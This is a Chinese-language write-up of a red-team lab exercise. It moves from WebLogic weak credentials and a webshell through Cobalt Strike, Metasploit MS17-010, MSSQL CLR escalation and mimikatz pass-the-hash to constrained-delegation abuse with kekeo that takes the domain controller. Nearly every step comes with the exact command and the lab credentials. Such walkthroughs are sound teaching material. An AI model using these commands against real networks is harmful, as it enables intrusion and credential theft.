Redteam靶场渗透
[TOC]
Redteam靶场渗透
来自渗透攻击红队的靶场
信息收集
拿到目标ip,访问80端口无果,上nmap
开放7001端口
weblogic框架
工具扫出漏洞,权限为administrator
查看杀软
tasklist /svc
无杀软
不存在域
获取webshell
发现存在weblogic弱口令,weblogic/weblogic123打算上传一个war包维持权限
点击部署,将冰蝎马子传上去
冰蝎连接
上线第一台主机
目标在内网,选择http代理,将本机http代理出去
cs设置代理,并制作木马
成功上线第一台
第一台内网信息收集
ipconfig,存在两张网卡
抓密码,但没抓到明文
端口扫描
扫描10.10.20网段发现还有一台机器 10.10.20.7
尝试打一下MS17010
cs派生shell
kali开启frp
cs设置一个http的监听
msf设置监听
1 | use exploit/multi/handler |
cs中点击spawn
收到会话
添加路由
1 | route add 10.10.20.0 255.255.255.0 1 |
成功添加路由
MS17010攻击
msf中设置payload
1 | use exploit/windows/smb/ms17_010_eternalblue |
稍等一会变拿到shell
麻了,这里第一次run时,没有弹shell,第二次就可以了
转发会话
关闭防火墙,怕影响后续操作,先关了吧
1 | netsh advfirewall show allprofile state |
退出全局模式,使用inject模板 注入
1 | use exploit/windows/local/payload_inject |
打了一圈,发现并不成功,后来想到可能不出网,于是换一种思路
上线第二台机器
利用web机做一个中转监听
生成木马,并上传至目标机
运行马子,成功上线第二台
域环境信息收集
ipconfig
发现新的网段为10.10.10.7
发现存在域环境
查看域内成员
还有两个成员,一个是owa猜测是域控,另一个为sqlserver
ping owa得到域控地址 10.10.10.8
域内渗透
决定先上传一个fscan进行内网扫描
1 | shell C:\Windows\fscan.exe -h 10.10.10.0/24 |
扫到了mssql的弱口令,并且证实了owa为域控
添加路由
添加一条去域控的路由
1 | route add 10.10.10.0 255.255.255.0 3 |
尝试使用clr进行攻击,msf中设置模块
1 | use exploit/windows/mssql/mssql_clr_payload |
这里第一次成功并拿到一个meterpreter,但后来断了,正准备写笔记的时候报错了,好像是端口关了,fscan也扫不出来1433端口,放一放
运维把靶场修好了哈哈哈
这回没问题了,拿到meterpreter
上线域内主机
以win7作为中转上线,并生成马子,meterpreter中上传
果然,权限太低,上传不了,也有可能是当前文件下没有权限传文件,于是打算fuzz能上传文件的目录
连接mssql
利用账号密码,cs开启socks代理,连接sql server
在目录下fuzz能上传的地方
找到C:\Users\Public\
但是我一运行马子就掉,很奇怪,于是打算在msf中运行
上线成功
clr提权
当前权限太低了,先给工具添加个代理
1 | ./SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami |
成功提升到system权限,此时再次运行马子
成功上线system权限的sql server机器
信息收集
抓取到sql server密码
尝试使用hash传递的方式生成凭证,后访问域控,但是失败了
1 | mimikatz sekurlsa::pth /domain:redteam.red /user:sqlserver /ntlm:6a59bf65a4957ac67e5fb4e1c221939c |
域内委派攻击
域委派
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动,域委派分为约束委派,非约束委派,基于资源的约束委派。
服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录。
例子:当 A 访问服务账号 B 时,服务账号 B 拿着 A 用户的凭证去访问服务 C,这个过程称为委派。
约束委派
约束委派只能获取每个主机服务的 ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST
寻找约束委派
使用AdFind工具寻找域内存在约束委派的用户
1 | C:\Windows\system32\AdFind.exe -h 10.10.10.8 -u sqlserver -up Server12345 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto |
找到sqlserver是一个约束委派用户
委派攻击
利用 kekeo 请求该用户的 TGT
1 | shell C:\Users\Public\kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" |
麻了,一直报错
但是票据已经生成了
使用这张票据去请求域管的ST
1 | kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" |
使用mimikatz注入票据
1 | mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi |
访问域控共享文件夹
成功
上线域控
准备上线域控的时候又掉了。。。
先创建一个SMB正向监听,然后计划任务,link域控上线
至此,全部机器上线完毕,渗透结束